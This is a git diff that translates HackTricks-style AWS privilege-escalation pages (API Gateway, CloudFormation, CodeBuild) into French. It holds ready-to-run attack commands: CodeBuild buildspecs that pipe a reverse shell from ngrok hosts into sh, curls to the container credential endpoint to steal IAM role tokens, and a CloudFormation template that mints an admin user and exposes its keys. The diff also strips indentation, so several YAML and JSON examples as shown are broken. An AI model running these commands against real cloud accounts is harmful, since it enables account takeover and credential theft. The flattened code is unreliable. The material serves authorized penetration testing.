--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -4,7 +4,7 @@
 
 ## Apigateway
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-api-gateway-enum.md
@@ -12,44 +12,37 @@ For more information check:
 
 ### `apigateway:POST`
 
-With this permission you can generate API keys of the APIs configured (per region).
-
+Avec cette autorisation, vous pouvez générer des clés API des API configurées (par région).
 ```bash
 aws --region <region> apigateway create-api-key
 ```
-
-**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info.
+**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique, mais vous pourriez accéder à des informations sensibles.
 
 ### `apigateway:GET`
 
-With this permission you can get generated API keys of the APIs configured (per region).
-
+Avec cette autorisation, vous pouvez obtenir les clés API générées des API configurées (par région).
 ```bash
 aws --region <region> apigateway get-api-keys
 aws --region <region> apigateway get-api-key --api-key <key> --include-value
 ```
-
-**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info.
+**Impact potentiel :** Vous ne pouvez pas privesc avec cette technique, mais vous pourriez avoir accès à des informations sensibles.
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
-With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda).
-
+Avec ces autorisations, il est possible de modifier la politique de ressource d'une API pour vous donner accès à l'appeler et abuser de l'accès potentiel que la passerelle API pourrait avoir (comme invoquer une lambda vulnérable).
 ```bash
 aws apigateway update-rest-api \
-    --rest-api-id api-id \
-    --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
+--rest-api-id api-id \
+--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
 ```
-
-**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info.
+**Impact potentiel :** Vous ne pourrez généralement pas privesc directement avec cette technique, mais vous pourriez obtenir accès à des informations sensibles.
 
 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
 
 > [!NOTE]
-> Need testing
-
-An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**.
+> Besoin de tests
 
+Un attaquant avec les permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, et `iam:PassRole` peut **ajouter une nouvelle intégration à une API Gateway REST API existante avec une fonction Lambda qui a un rôle IAM attaché**. L'attaquant peut alors **déclencher la fonction Lambda pour exécuter du code arbitraire et potentiellement accéder aux ressources associées au rôle IAM**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-
-**Potential Impact**: Access to resources associated with the Lambda function's IAM role.
+**Impact potentiel** : Accès aux ressources associées au rôle IAM de la fonction Lambda.
 
 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
 
 > [!NOTE]
-> Need testing
-
-An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made.
+> Besoin de tests
 
+Un attaquant disposant des autorisations `apigateway:UpdateAuthorizer` et `apigateway:CreateDeployment` peut **modifier un authorizer API Gateway existant** pour contourner les vérifications de sécurité ou pour exécuter du code arbitraire lors des requêtes API.
 ```bash
 API_ID="your-api-id"
 AUTHORIZER_ID="your-authorizer-id"
@@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-
-**Potential Impact**: Bypassing security checks, unauthorized access to API resources.
+**Impact potentiel** : Contournement des vérifications de sécurité, accès non autorisé aux ressources API.
 
 ### `apigateway:UpdateVpcLink`
 
 > [!NOTE]
-> Need testing
-
-An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**.
+> Nécessite des tests
 
+Un attaquant disposant de la permission `apigateway:UpdateVpcLink` peut **modifier un VPC Link existant pour le faire pointer vers un autre équilibreur de charge réseau, redirigeant potentiellement le trafic API privé vers des ressources non autorisées ou malveillantes**.
 ```bash
 bashCopy codeVPC_LINK_ID="your-vpc-link-id"
 NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
@@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
 # Update the VPC Link
 aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
 ```
-
-**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic.
+**Impact potentiel** : Accès non autorisé aux ressources API privées, interception ou perturbation du trafic API.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
index b477dc31f..8768be88a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
@@ -4,10 +4,6 @@
 
 ### chime:CreateApiKey
 
-TODO
+À faire
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 39cba539e..57a8ca28d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -4,7 +4,7 @@
 
 ## cloudformation
 
-For more information about cloudformation check:
+Pour plus d'informations sur cloudformation, consultez :
 
 {{#ref}}
 ../../aws-services/aws-cloudformation-and-codestar-enum.md
@@ -12,111 +12,99 @@ For more information about cloudformation check:
 
 ### `iam:PassRole`, `cloudformation:CreateStack`
 
-An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:**
-
+Un attaquant avec ces permissions **peut escalader les privilèges** en créant une **pile CloudFormation** avec un modèle personnalisé, hébergé sur son serveur, pour **exécuter des actions sous les permissions d'un rôle spécifié :**
 ```bash
 aws cloudformation create-stack --stack-name <stack-name> \
-    --template-url http://attacker.com/attackers.template \
-    --role-arn <arn-role>
+--template-url http://attacker.com/attackers.template \
+--role-arn <arn-role>
 ```
-
-In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**:
+Dans la page suivante, vous avez un **exploitation example** avec la permission supplémentaire **`cloudformation:DescribeStacks`** :
 
 {{#ref}}
 iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
 {{#endref}}
 
-**Potential Impact:** Privesc to the cloudformation service role specified.
+**Impact potentiel :** Privesc au rôle de service cloudformation spécifié.
 
 ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
 
-In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario:
-
+Dans ce cas, vous pouvez **abuser d'une stack cloudformation existante** pour la mettre à jour et escalader les privilèges comme dans le scénario précédent :
 ```bash
 aws cloudformation update-stack \
-    --stack-name privesc \
-    --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
-    --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
-    --capabilities CAPABILITY_IAM \
-    --region eu-west-1
+--stack-name privesc \
+--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
+--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
+--capabilities CAPABILITY_IAM \
+--region eu-west-1
 ```
+La permission `cloudformation:SetStackPolicy` peut être utilisée pour **vous donner la permission `UpdateStack`** sur une pile et effectuer l'attaque.
 
-The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack.
-
-**Potential Impact:** Privesc to the cloudformation service role specified.
+**Impact potentiel :** Privesc au rôle de service cloudformation spécifié.
 
 ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
 
-If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update).
+Si vous avez cette permission mais **pas `iam:PassRole`**, vous pouvez toujours **mettre à jour les piles** utilisées et abuser des **rôles IAM déjà attachés**. Consultez la section précédente pour un exemple d'exploitation (il suffit de ne pas indiquer de rôle dans la mise à jour).
 
-The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack.
+La permission `cloudformation:SetStackPolicy` peut être utilisée pour **vous donner la permission `UpdateStack`** sur une pile et effectuer l'attaque.
 
-**Potential Impact:** Privesc to the cloudformation service role already attached.
+**Impact potentiel :** Privesc au rôle de service cloudformation déjà attaché.
 
 ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
 
-An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack.
-
-The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack.
+Un attaquant avec des permissions pour **passer un rôle et créer & exécuter un ChangeSet** peut **créer/mettre à jour une nouvelle pile cloudformation et abuser des rôles de service cloudformation** tout comme avec CreateStack ou UpdateStack.
 
+L'exploitation suivante est une **variation de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilisant les **permissions ChangeSet** pour créer une pile.
 ```bash
 aws cloudformation create-change-set \
-    --stack-name privesc \
-    --change-set-name privesc \
-    --change-set-type CREATE \
-    --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
-    --role arn:aws:iam::947247140022:role/CloudFormationAdmin \
-    --capabilities CAPABILITY_IAM \
-    --region eu-west-1
+--stack-name privesc \
+--change-set-name privesc \
+--change-set-type CREATE \
+--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
+--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
+--capabilities CAPABILITY_IAM \
+--region eu-west-1
 
 echo "Waiting 2 mins to change the stack"
 sleep 120
 
 aws cloudformation execute-change-set \
-    --change-set-name privesc \
-    --stack-name privesc \
-    --region eu-west-1
+--change-set-name privesc \
+--stack-name privesc \
+--region eu-west-1
 
 echo "Waiting 2 mins to execute the stack"
 sleep 120
 
 aws cloudformation describe-stacks \
-    --stack-name privesc \
-    --region eu-west-1
+--stack-name privesc \
+--region eu-west-1
 ```
+La permission `cloudformation:SetStackPolicy` peut être utilisée pour **vous donner des permissions `ChangeSet`** sur une pile et effectuer l'attaque.
 
-The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack.
-
-**Potential Impact:** Privesc to cloudformation service roles.
+**Impact potentiel :** Privesc vers les rôles de service cloudformation.
 
 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
 
-This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter:
-
+C'est comme la méthode précédente sans passer **les rôles IAM**, donc vous pouvez simplement **abuser de ceux déjà attachés**, il suffit de modifier le paramètre :
 ```
 --change-set-type UPDATE
 ```
-
-**Potential Impact:** Privesc to the cloudformation service role already attached.
+**Impact potentiel :** Privesc au rôle de service cloudformation déjà attaché.
 
 ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
 
-An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles.
+Un attaquant pourrait abuser de ces permissions pour créer/met à jour des StackSets afin d'abuser des rôles cloudformation arbitraires.
 
-**Potential Impact:** Privesc to cloudformation service roles.
+**Impact potentiel :** Privesc aux rôles de service cloudformation.
 
 ### `cloudformation:UpdateStackSet`
 
-An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles.
+Un attaquant pourrait abuser de cette permission sans la permission passRole pour mettre à jour des StackSets afin d'abuser des rôles cloudformation attachés.
 
-**Potential Impact:** Privesc to the attached cloudformation roles.
+**Impact potentiel :** Privesc aux rôles cloudformation attachés.
 
-## References
+## Références
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index d41f9062c..c1ed78490 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -2,84 +2,74 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like:
-
+Un attaquant pourrait par exemple utiliser un **modèle cloudformation** qui génère **des clés pour un utilisateur admin** comme :
 ```json
 {
-  "Resources": {
-    "AdminUser": {
-      "Type": "AWS::IAM::User"
-    },
-    "AdminPolicy": {
-      "Type": "AWS::IAM::ManagedPolicy",
-      "Properties": {
-        "Description": "This policy allows all actions on all resources.",
-        "PolicyDocument": {
-          "Version": "2012-10-17",
-          "Statement": [
-            {
-              "Effect": "Allow",
-              "Action": ["*"],
-              "Resource": "*"
-            }
-          ]
-        },
-        "Users": [
-          {
-            "Ref": "AdminUser"
-          }
-        ]
-      }
-    },
-    "MyUserKeys": {
-      "Type": "AWS::IAM::AccessKey",
-      "Properties": {
-        "UserName": {
-          "Ref": "AdminUser"
-        }
-      }
-    }
-  },
-  "Outputs": {
-    "AccessKey": {
-      "Value": {
-        "Ref": "MyUserKeys"
-      },
-      "Description": "Access Key ID of Admin User"
-    },
-    "SecretKey": {
-      "Value": {
-        "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"]
-      },
-      "Description": "Secret Key of Admin User"
-    }
-  }
+"Resources": {
+"AdminUser": {
+"Type": "AWS::IAM::User"
+},
+"AdminPolicy": {
+"Type": "AWS::IAM::ManagedPolicy",
+"Properties": {
+"Description": "This policy allows all actions on all resources.",
+"PolicyDocument": {
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": ["*"],
+"Resource": "*"
+}
+]
+},
+"Users": [
+{
+"Ref": "AdminUser"
+}
+]
+}
+},
+"MyUserKeys": {
+"Type": "AWS::IAM::AccessKey",
+"Properties": {
+"UserName": {
+"Ref": "AdminUser"
+}
+}
+}
+},
+"Outputs": {
+"AccessKey": {
+"Value": {
+"Ref": "MyUserKeys"
+},
+"Description": "Access Key ID of Admin User"
+},
+"SecretKey": {
+"Value": {
+"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"]
+},
+"Description": "Secret Key of Admin User"
+}
+}
 }
 ```
-
-Then **generate the cloudformation stack**:
-
+Puis **générez la pile cloudformation** :
 ```bash
 aws cloudformation create-stack --stack-name privesc \
-    --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
-    --role arn:aws:iam::[REDACTED]:role/adminaccess \
-    --capabilities CAPABILITY_IAM --region us-west-2
+--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
+--role arn:aws:iam::[REDACTED]:role/adminaccess \
+--capabilities CAPABILITY_IAM --region us-west-2
 ```
-
-**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**:
-
+**Attendez quelques minutes** que la pile soit générée, puis **obtenez la sortie** de la pile où les **identifiants sont stockés** :
 ```bash
 aws cloudformation describe-stacks \
-    --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
-    --region uswest-2
+--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
+--region uswest-2
 ```
-
-### References
+### Références
 
 - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws)
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index b179bec22..0965edbea 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -4,7 +4,7 @@
 
 ## codebuild
 
-Get more info in:
+Obtenez plus d'infos dans :
 
 {{#ref}}
 ../aws-services/aws-codebuild-enum.md
@@ -12,70 +12,65 @@ Get more info in:
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project:
+Avec l'une de ces autorisations, il suffit de déclencher une construction avec un nouveau buildspec et de voler le token du rôle iam attribué au projet :
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
-
 ```bash
 cat > /tmp/buildspec.yml <<EOF
 version: 0.2
 
 phases:
-  build:
-      commands:
-            - curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
+build:
+commands:
+- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
 EOF
 
 aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
 ```
-
 {{#endtab }}
 
 {{#tab name="StartBuildBatch" }}
-
 ```bash
 cat > /tmp/buildspec.yml <<EOF
 version: 0.2
 
 batch:
-  fast-fail: false
-  build-list:
-    - identifier: build1
-      env:
-        variables:
-          BUILD_ID: build1
-      buildspec: |
-        version: 0.2
-        env:
-          shell: sh
-        phases:
-          build:
-            commands:
-              - curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
-      ignore-failure: true
+fast-fail: false
+build-list:
+- identifier: build1
+env:
+variables:
+BUILD_ID: build1
+buildspec: |
+version: 0.2
+env:
+shell: sh
+phases:
+build:
+commands:
+- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
+ignore-failure: true
 EOF
 
 aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-**Note**: The difference between these two commands is that:
+**Remarque** : La différence entre ces deux commandes est que :
 
-- `StartBuild` triggers a single build job using a specific `buildspec.yml`.
-- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel).
+- `StartBuild` déclenche un seul travail de construction en utilisant un `buildspec.yml` spécifique.
+- `StartBuildBatch` vous permet de démarrer un lot de constructions, avec des configurations plus complexes (comme l'exécution de plusieurs constructions en parallèle).
 
-**Potential Impact:** Direct privesc to attached AWS Codebuild roles.
+**Impact potentiel :** Privesc direct aux rôles AWS Codebuild attachés.
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one.
+Un attaquant avec les permissions **`iam:PassRole`, `codebuild:CreateProject`, et `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** serait capable de **escalader les privilèges à n'importe quel rôle IAM codebuild** en créant un rôle en cours d'exécution.
 
 {{#tabs }}
 {{#tab name="Example1" }}
-
 ```bash
 # Enumerate then env and get creds
 REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
@@ -84,20 +79,20 @@ REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI
 REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
 
 JSON="{
-    \"name\": \"codebuild-demo-project\",
-    \"source\": {
-        \"type\": \"NO_SOURCE\",
-        \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
-    },
-    \"artifacts\": {
-        \"type\": \"NO_ARTIFACTS\"
-    },
-    \"environment\": {
-        \"type\": \"LINUX_CONTAINER\",
-        \"image\": \"aws/codebuild/standard:1.0\",
-        \"computeType\": \"BUILD_GENERAL1_SMALL\"
-    },
-    \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
+\"name\": \"codebuild-demo-project\",
+\"source\": {
+\"type\": \"NO_SOURCE\",
+\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
+},
+\"artifacts\": {
+\"type\": \"NO_ARTIFACTS\"
+},
+\"environment\": {
+\"type\": \"LINUX_CONTAINER\",
+\"image\": \"aws/codebuild/standard:1.0\",
+\"computeType\": \"BUILD_GENERAL1_SMALL\"
+},
+\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
 }"
 
 
@@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project
 # Delete the project
 aws codebuild delete-project --name codebuild-demo-project
 ```
-
 {{#endtab }}
 
-{{#tab name="Example2" }}
-
+{{#tab name="Exemple2" }}
 ```bash
 # Generated by AI, not tested
 # Create a buildspec.yml file with reverse shell command
 echo 'version: 0.2
 phases:
-  build:
-    commands:
-      - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml
+build:
+commands:
+- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml
 
 # Upload the buildspec to the bucket and give access to everyone
 aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml
@@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
 aws codebuild start-build --project-name reverse-shell-project
 
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Direct privesc to any AWS Codebuild role.
+**Impact potentiel :** Privesc direct vers n'importe quel rôle AWS Codebuild.
 
 > [!WARNING]
-> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**.
+> Dans un **conteneur Codebuild**, le fichier `/codebuild/output/tmp/env.sh` contient toutes les variables d'environnement nécessaires pour accéder aux **identifiants de métadonnées**.
 
-> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> Ce fichier contient la **variable d'environnement `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** qui contient le **chemin URL** pour accéder aux identifiants. Ce sera quelque chose comme `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
 
-> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials.
+> Ajoutez cela à l'URL **`http://169.254.170.2/`** et vous pourrez extraire les identifiants du rôle.
 
-> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**.
+> De plus, il contient également la **variable d'environnement `ECS_CONTAINER_METADATA_URI`** qui contient l'URL complète pour obtenir des **informations de métadonnées sur le conteneur**.
 
 ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token
-
+Tout comme dans la section précédente, si au lieu de créer un projet de build vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton.
 ```bash
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
 
 # You need to indicate the name of the project you want to modify
 JSON="{
-    \"name\": \"<codebuild-demo-project>\",
-    \"source\": {
-        \"type\": \"NO_SOURCE\",
-        \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
-    },
-    \"artifacts\": {
-        \"type\": \"NO_ARTIFACTS\"
-    },
-    \"environment\": {
-        \"type\": \"LINUX_CONTAINER\",
-        \"image\": \"aws/codebuild/standard:1.0\",
-        \"computeType\": \"BUILD_GENERAL1_SMALL\"
-    },
-    \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
+\"name\": \"<codebuild-demo-project>\",
+\"source\": {
+\"type\": \"NO_SOURCE\",
+\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
+},
+\"artifacts\": {
+\"type\": \"NO_ARTIFACTS\"
+},
+\"environment\": {
+\"type\": \"LINUX_CONTAINER\",
+\"image\": \"aws/codebuild/standard:1.0\",
+\"computeType\": \"BUILD_GENERAL1_SMALL\"
+},
+\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
 }"
 
 printf "$JSON" > $REV_PATH
@@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-
-**Potential Impact:** Direct privesc to any AWS Codebuild role.
+**Impact potentiel :** Privesc direct à tout rôle AWS Codebuild.
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**.
+Comme dans la section précédente mais **sans la permission `iam:PassRole`**, vous pouvez abuser de ces permissions pour **modifier les projets Codebuild existants et accéder au rôle qui leur est déjà assigné**.
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
-
 ```sh
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -213,20 +202,20 @@ REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI
 REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
 
 JSON="{
-    \"name\": \"<codebuild-demo-project>\",
-    \"source\": {
-        \"type\": \"NO_SOURCE\",
-        \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
-    },
-    \"artifacts\": {
-        \"type\": \"NO_ARTIFACTS\"
-    },
-    \"environment\": {
-        \"type\": \"LINUX_CONTAINER\",
-        \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
-        \"computeType\": \"BUILD_GENERAL1_SMALL\",
-        \"imagePullCredentialsType\": \"CODEBUILD\"
-    }
+\"name\": \"<codebuild-demo-project>\",
+\"source\": {
+\"type\": \"NO_SOURCE\",
+\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
+},
+\"artifacts\": {
+\"type\": \"NO_ARTIFACTS\"
+},
+\"environment\": {
+\"type\": \"LINUX_CONTAINER\",
+\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
+\"computeType\": \"BUILD_GENERAL1_SMALL\",
+\"imagePullCredentialsType\": \"CODEBUILD\"
+}
 }"
 
 # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
@@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-
 {{#endtab }}
 
 {{#tab name="StartBuildBatch" }}
-
 ```sh
 REV_PATH="/tmp/codebuild_pwn.json"
 
@@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
 
 # You need to indicate the name of the project you want to modify
 JSON="{
-    \"name\": \"project_name\",
-    \"source\": {
-        \"type\": \"NO_SOURCE\",
-        \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
-    },
-    \"artifacts\": {
-        \"type\": \"NO_ARTIFACTS\"
-    },
-    \"environment\": {
